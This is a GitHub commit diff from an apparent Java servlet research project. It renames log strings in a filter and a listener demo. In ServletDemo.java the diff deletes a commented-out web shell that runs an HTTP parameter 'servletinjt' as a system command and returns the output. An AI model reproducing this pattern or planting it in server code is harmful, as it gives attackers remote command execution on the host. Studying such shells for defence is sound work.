Skip to content

Commit

Permalink
update something little bit
Browse files Browse the repository at this point in the history
  • Loading branch information
fa1c0n1 committed Apr 5, 2022
1 parent 73f2dac commit c666ddf
Show file tree
Hide file tree
Showing 3 changed files with 7 additions and 24 deletions.
6 changes: 3 additions & 3 deletions src/me/mole/filter/FilterDemo.java
Original file line number Diff line number Diff line change
Expand Up @@ -8,18 +8,18 @@ public class FilterDemo implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("me.mole.filter.Demo5 Filter init...");
System.out.println("me.mole.filter.FilterDemo Filter init...");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
System.out.println("me.mole.filter.Demo5 Filter doFilter...");
System.out.println("me.mole.filter.FilterDemo Filter doFilter...");
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {
System.out.println("me.mole.filter.Demo5 Filter destroy...");
System.out.println("me.mole.filter.FilterDemo Filter destroy...");
}
}
7 changes: 4 additions & 3 deletions src/me/mole/listener/ListenerDemo2.java
Original file line number Diff line number Diff line change
Expand Up @@ -13,20 +13,21 @@ public class ListenerDemo2 implements ServletRequestListener {
* 否则tomcat启动会报错.
*/
public ListenerDemo2() {

System.out.println("ListenerDemo2() called...");
}

public ListenerDemo2(HttpServletResponse response) {
System.out.println("ListenerDemo2(HttpServletResponse resp) called...");
this.response = response;
}

@Override
public void requestDestroyed(ServletRequestEvent sret) {
System.out.println("ListenerDemo requestDestroyed");
System.out.println("ListenerDemo2 requestDestroyed");
}

@Override
public void requestInitialized(ServletRequestEvent sret) {
System.out.println("ListenerDemo requestInitialized");
System.out.println("ListenerDemo2 requestInitialized");
}
}
18 changes: 0 additions & 18 deletions src/me/mole/servlet/ServletDemo.java
Original file line number Diff line number Diff line change
Expand Up @@ -19,24 +19,6 @@ public class ServletDemo extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
System.out.println("me.mole.servlet.ServletDemo doGet...");
// ServletOutputStream out = resp.getOutputStream();
// String cmds = req.getParameter("servletinjt");
// if (cmds != null) {
// InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
// StringBuilder sb = new StringBuilder();
// BufferedReader br = new BufferedReader(new InputStreamReader(in));
// String line = null;
// while((line = br.readLine()) != null) {
// sb.append(line).append("\n");
// }
// if (sb.length() > 0) {
// out.print("<pre>");
// out.write(sb.toString().getBytes());
// out.print("</pre>");
// out.flush();
// out.close();
// }
// }
} catch (Exception e) {
e.printStackTrace();
}
Expand Down

0 comments on commit c666ddf

Please sign in to comment.